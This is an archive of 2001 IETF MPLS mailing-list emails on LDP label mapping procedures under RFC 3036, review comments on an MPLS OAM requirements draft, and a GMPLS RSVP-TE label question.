Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id D5F2A94006; Thu, 31 May 2001 13:34:10 -0400 (EDT)
Message-ID: <3B168092.B11B7A1C@sandburst.com>
Date: Thu, 31 May 2001 13:34:10 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Manoj Dutta <manoj@ipinfusion.com>
Cc: mpls@UU.NET
Subject: Re: Label Mapping !!
References: <3B15BE92.2C98347B@ipinfusion.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Manoj,

    First, I would have to say that this is a bit of a contrived
scenario.  In order to be non-merge capable, the LSR would
have to have an ATM interface at least with respect to the
downstream LSR from which it is expecting a label mapping.
But, for it to issue labels to upstream LSRs in this case, it
should be able to forward packets it receives bearing those
labels (otherwise it indulges in a bit of false advertisement).
Not having 'labels' downstream means it should forward
these packets using an established VC to the next dowstream
ATM LSR (since the interface is an ATM interface).  In order
to do this, however, it should also be able to avoid interleaving
cells from multiple sources onto the same VC.  In short, if it is
giving out labels in indepedent mode, it should be merge capable.

    However, assuming someone actually implemented this the
way you suggest, you have to remember that - from a strictly
local perspective - a label is an LSP when it is received from
a downstream peer, bound to an upstream label and the upstream
label is distributed to an upstream peer.  Once a label mapping is
received from a downstream peer, the local LSR which has
distributed multiple labels to upstream LSRs must pick one of
them to bind with the label in the mapping it has just received -
before there is an 'LSP in question'.  If the local LSR is not merge
capable, then it will - by definition - only bind a label mapping to
a single upstream label.

--
Eric Gray

You wrote:

> Hi,
>
> In RFC 3036 section A.1.2 ,LMp.18, Note 8, it is mentioned that if
> LSR is not merging, then it may have sent label mapping for LSP in
> question to at most one LSR.  Lets take the following scenario :
>
> LSR A is non merge capable and operating in DoD advertisement mode with
> independent control. Now, it may receive requests from multiple LSRs say
> LSR B, LSR C etc. Since, it is using independent control, it may send
> mapping (different labels) to LSRs B & C immediately without waiting for
> a mapping from its next hop (offcourse it will send requests to next hop
> for each such mapping). Also, it may so happen that LSR B is also non
> merge capable and it may send multiple requests to A (one for each of
> B's upstream peers). In this case, we might end up in a situation where
> A has send multiple uniquely distinct mappings to B and one (or
> more) uniquely distinct  mappings to C for the same FEC. Now, when
> A receives a mapping from its next hop for the FEC in question, we see
> that Note 8 as enumerated above is clearly violated as there is more
> than one LSR (in this case B & C) for which A has previously sent a
> mapping.
> Let me know if there is some inconsistency in the above mentioned line
> of reasoning.
>
> Thanks in advance
> manoj



From owner-mpls@UU.NET  Thu May 31 14:08:21 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA04345
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 14:08:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrkq09087;
	Thu, 31 May 2001 18:06:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkrkq09488
	for mpls-outgoing; Thu, 31 May 2001 18:05:54 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrkq08663
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 18:05:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrkq12117
	for <mpls@UU.NET>; Thu, 31 May 2001 18:05:00 GMT
Received: from blsmsgims03.bls.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: connectandcreate2.bls.com [139.76.64.29])
	id QQkrkq07049
	for <mpls@UU.NET>; Thu, 31 May 2001 18:05:00 GMT
Received: from SMTP ([139.76.86.35]) by blsmsgims03.bls.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id L4RQ46ZK; Thu, 31 May 2001 14:04:58 -0400
Received: from snt.bellsouth.com ([90.30.215.1]) by 139.76.86.35
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Thu, 31 May 2001 18:04:58 0000 (GMT)
Received: from std034en866 (STD034EN866 [90.30.215.26])
	by snt.bellsouth.com (8.9.3+Sun/8.9.1) with SMTP id OAA18234;
	Thu, 31 May 2001 14:04:38 -0400 (EDT)
Reply-To: <steven.wright@snt.BellSouth.com>
From: "steven wright" <steven.wright@snt.BellSouth.com>
To: "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: draft-harrison-mpls-oam-req-00.txt
Date: Thu, 31 May 2001 14:04:46 -0400
Message-ID: <06EABA5FD323D411B733009027DCF1B02AEA0B@natasha.snt.bst.bls.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <06EABA5FD323D411B733009027DCF1B043B0FE@natasha.snt.bst.bls.com>
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

A couple of Points....
1) Reqt#10
I think there is a class of errors associated with us the use of LSP
hierarchies that may not be covered here ?
Consider that a provider may have several TE LSPs ( e.g. with different QoS)
across a core network  into which lower level LSPs are label stacked. Even
though they may get to the right destination, they may get there through the
"wrong"  label stacked path.
unless you think this is covered under one of the other topics, I's suggest
adding  something like ...
     "(e) Incorrect use of Label hierarchy"

2) A missing Requirement on the "scope" of OAM mechanisms?
 The other OAM requirements result in a need to insert some packets into the
LSP in order to measure continuity, performance etc.
We need to ensure that such packets are :
(i) restricted to the service provider's network i.e do. not pass beyond the
egress of the LSP into a customer network
( I'll let braver souls debate what that means with respect to penultimate
hop popping ! 8^} )
(ii) not spoofed by customer traffic in the LSP data plane.

I'm not sure how you would meet the security requirements stated ins section
5 without this.
I believe the mechanisms proposed in draft-harrison-mpls-oam-00.txt did
attempt to do this..


3) This is editorial ...
I'd be tempted to refer to "mechanisms" rather than "tools" in a
requirements document. "Tools" sound like products. "mechanisms" may have a
variety of implementations including   protocol extensions as well as
specific tools.

Motivations #7 and #10 seem to be saying the same thing to me (and one I'd
agree with!). I'd suggest either merging them or rephrasing to explain why
they are different...


regards
Steven Wright


> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Shahram
> Davari
> Sent: Friday, May 18, 2001 6:32 PM
> To: 'internet-drafts@ietf.org'
> Cc: 'mpls@uu.net'; 'te-wg@ops.ietf.org'
> Subject: draft-harrison-mpls-oam-req-00.txt
>
>
> Hi,
>
> Please post the attached draft.
>
> Summary:
>
> This draft provides motivation and requirements for user-plane OAM
> (Operation and Maintenance) functionality in MPLS networks.
>
> Motivation for this recommendation rose from Network operators' need
> or tools that ensure reliability and performance of MPLS LSPs
> (Label Switched Paths). User-plane OAM tools are required to verify
> that LSPs have been setup and are available to deliver customer data
> to target destinations according to QoS (Quality of Service)
> guarantees given in SLAs (Service Level Agreements).
>
> Requirements presented in this draft include but are not limited to:
>
>  . Tools to efficiently detect and localize defects in MPLS layer
>  . Mechanisms for fast defect notification
>  . Availability and performance criteria
>  . Trigger for corrective actions (e.g. protection switching) when
>      failures occur.
>
>
> Regards,
> -Shahram Davari
>
>  <<draft-harrison-mpls-oam-req-00.txt>>
>




From owner-mpls@UU.NET  Thu May 31 15:18:55 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06676
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 15:18:55 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrkv27403;
	Thu, 31 May 2001 19:16:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkrkv07868
	for mpls-outgoing; Thu, 31 May 2001 19:15:49 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrkv07854
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 19:15:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrkv06244
	for <mpls@UU.NET>; Thu, 31 May 2001 19:15:34 GMT
Received: from auemail1.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: auemail1.lucent.com [192.11.223.161])
	id QQkrkv00086
	for <mpls@UU.NET>; Thu, 31 May 2001 19:15:33 GMT
Received: from auemail1.firewall.lucent.com (localhost [127.0.0.1])
	by auemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f4VJFV915885
	for <mpls@UU.NET>; Thu, 31 May 2001 15:15:31 -0400 (EDT)
Received: from mvmail.mv.lucent.com (h135-13-96-58.lucent.com [135.13.96.58])
	by auemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f4VJDEh13806;
	Thu, 31 May 2001 15:15:04 -0400 (EDT)
Received: from lucent.com (ma0940xuyg.mv.lucent.com [135.13.38.228]) by mvmail.mv.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id PAA26295; Thu, 31 May 2001 15:13:12 -0400 (EDT)
Message-ID: <3B1697C8.F927CB4B@lucent.com>
Date: Thu, 31 May 2001 15:13:12 -0400
From: Yangguang Xu <xuyg@lucent.com>
Organization: Lucent Technologies, Inc.
X-Mailer: Mozilla 4.7 [en]C-EMS-1.4  (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "mpls@UU.NET" <mpls@UU.NET>, "ccamp@ops.ietf.org" <ccamp@ops.ietf.org>
Subject: GMPLS RSVP-TE question
References: <01C0E512.459D90A0.vsharma87@yahoo.com> <3B0EAE36.EE0F1E35@research.att.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Hello All,

Where is the wavelength/port label defined for GMPLS RSVP-TE? Should it has a
new C-TYPE?

Thanks,

Yanggunag


From owner-mpls@UU.NET  Thu May 31 15:58:04 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA07227
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 15:58:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrkx08679;
	Thu, 31 May 2001 19:56:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkrkx12371
	for mpls-outgoing; Thu, 31 May 2001 19:55:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrkx12354
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 19:55:36 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrkx18241
	for <mpls@UU.NET>; Thu, 31 May 2001 19:54:12 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f189.law11.hotmail.com [64.4.17.189])
	id QQkrkx22619
	for <mpls@UU.NET>; Thu, 31 May 2001 19:54:12 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 31 May 2001 12:54:11 -0700
Received: from 65.112.106.16 by lw11fd.law11.hotmail.msn.com with HTTP;	Thu, 31 May 2001 19:54:11 GMT
X-Originating-IP: [65.112.106.16]
From: "Irfan Lateef" <irfanlateef@hotmail.com>
To: neil.2.harrison@bt.com
Cc: te-wg@ops.ietf.org, mpls@UU.NET
Subject: RE: draft-harrison-mpls-oam-req-00.txt
Date: Thu, 31 May 2001 15:54:11 -0400
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F1892LTrpwACkWHZqYW00019689@hotmail.com>
X-OriginalArrivalTime: 31 May 2001 19:54:11.0760 (UTC) FILETIME=[765B2B00:01C0EA0B]
Sender: owner-mpls@UU.NET
Precedence: bulk

Neil,

In section 4 item 8 quoted below

>8. Measurement of avaialability and QoS performance

I am guessing that the definitions for the terms
"avaialability" and "QoS performance" is
as given in draft-harrison-mpls-oam-00.txt but an explicit
mention of it or a pointer to the same in references can
eliminate the guessing game. and if my guess is wrong I
would appreciate a correct pointer

Thanks,
Irfan Lateef
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com



From owner-mpls@UU.NET  Thu May 31 16:40:35 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07789
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 16:40:34 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrla24856;
	Thu, 31 May 2001 20:38:49 GMT
Received: by mail-control.mail.uu.net 
	id QQkrla06120
	for mpls-outgoing; Thu, 31 May 2001 20:37:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrla06084
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 20:37:27 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrla00981
	for <mpls@UU.NET>; Thu, 31 May 2001 20:37:10 GMT
From: neil.2.harrison@bt.com
Received: from gollum.axion.bt.co.uk by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gollum.axion.bt.co.uk [132.146.17.41])
	id QQkrla23118
	for <mpls@UU.NET>; Thu, 31 May 2001 20:37:09 GMT
Received: from cclmsent02.lon.bt.com by gollum (local) with ESMTP;
          Thu, 31 May 2001 21:36:43 +0100
Received: by cclmsent02.lon.bt.com with Internet Mail Service (5.5.2652.35) 
          id <L218X4PB>; Thu, 31 May 2001 21:36:43 +0100
Message-ID: <B9571FDEBD3DD21181E500606DD5EE050E89137C@mbddmknt01.hc.bt.com>
To: irfanlateef@hotmail.com
Cc: te-wg@ops.ietf.org, mpls@UU.NET
Subject: RE: draft-harrison-mpls-oam-req-00.txt
Date: Thu, 31 May 2001 21:36:34 +0100
X-Mailer: Internet Mail Service (5.5.2652.35)
MIME-version: 1.0
Content-type: text/plain; charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


Irfan Lateef asked 31 May 2001 20:54
> Neil,
> 
> In section 4 item 8 quoted below
> 
> >8. Measurement of avaialability and QoS performance
> 
> I am guessing that the definitions for the terms
> "avaialability" and "QoS performance" is
> as given in draft-harrison-mpls-oam-00.txt but an explicit
> mention of it or a pointer to the same in references can
> eliminate the guessing game. and if my guess is wrong I
> would appreciate a correct pointer
> 
NH=>Yes its in there, but there are no diagrams....and you really need
these, so I'll mail them you separately.  We were asked to provide a
separate 'requirements' ID and this we did.....perhaps we should have also
pointed to our 'solutions' in the refernces as you suggest.

regards, Neil


From owner-mpls@UU.NET  Thu May 31 16:46:05 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07859
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 16:46:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrla07176;
	Thu, 31 May 2001 20:44:41 GMT
Received: by mail-control.mail.uu.net 
	id QQkrla06669
	for mpls-outgoing; Thu, 31 May 2001 20:44:12 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrla06638
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 20:43:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrla15915
	for <mpls@UU.NET>; Thu, 31 May 2001 20:42:29 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkrla18706
	for <mpls@UU.NET>; Thu, 31 May 2001 20:42:29 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id EC06794009; Thu, 31 May 2001 16:42:24 -0400 (EDT)
Message-ID: <3B16ACB0.722CEA15@sandburst.com>
Date: Thu, 31 May 2001 16:42:24 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Vijayanand C <vijayc@hclt.com>
Cc: mpls@UU.NET
Subject: Re: Label mapping from targetted peer
References: <NFBBKDLACMMEPNKNDBJMEEBBCDAA.vijayc@hclt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Vijay,

    Consider two cases: one, the targetted LSR _is_ a next hop on
some (one or more) LSP(s) corresponding to a link/interface(s) at
the local LSR; two, the targetted LSR _is_not_ a next hop in any
sense.  In the former case, LMp.12 takes you past LMp.13 and the
local LSR can use these labels when sending packets to the
targetted LSR over an LSP that acts as a direct link.  In the latter
case, the received label is not useful, anyway, and would naturally
be released.

    If an LSR receives a label from another LSR that is not directly
connected to it - by some definition of 'directly connected' - then
I cannot use the label because no directly connected LSR will be
able to interpret it.

--
Eric Gray

You wrote:

> Hello all,
> I have a question regarding the label mapping procedure(A.1.2) of
> rfc3036(LDP).
>
> In Lmp.11,12,13 the next Hop for FEC is checked and if message source is not
> the next hop, the label release procedure is executed.
>
> Suppose the peer which sent the label mapping is a targetted peer, then it
> will not be the next hop for the FEC but still, it may be a valid mapping if
> the mapping has come through the correct next hop interface. So, I think the
> check should do more than just compare the message source against the FEC
> Next Hop.Going one step further, what to do if there are 2 or more targetted
> peers on the same Next Hop interface for the FEC and both of them send
> Unsolicited label mappings. How will we decide which to retain and which to
> drop?
>
> Please correct me if I am wrong.
>
> Regards,
> Vijay



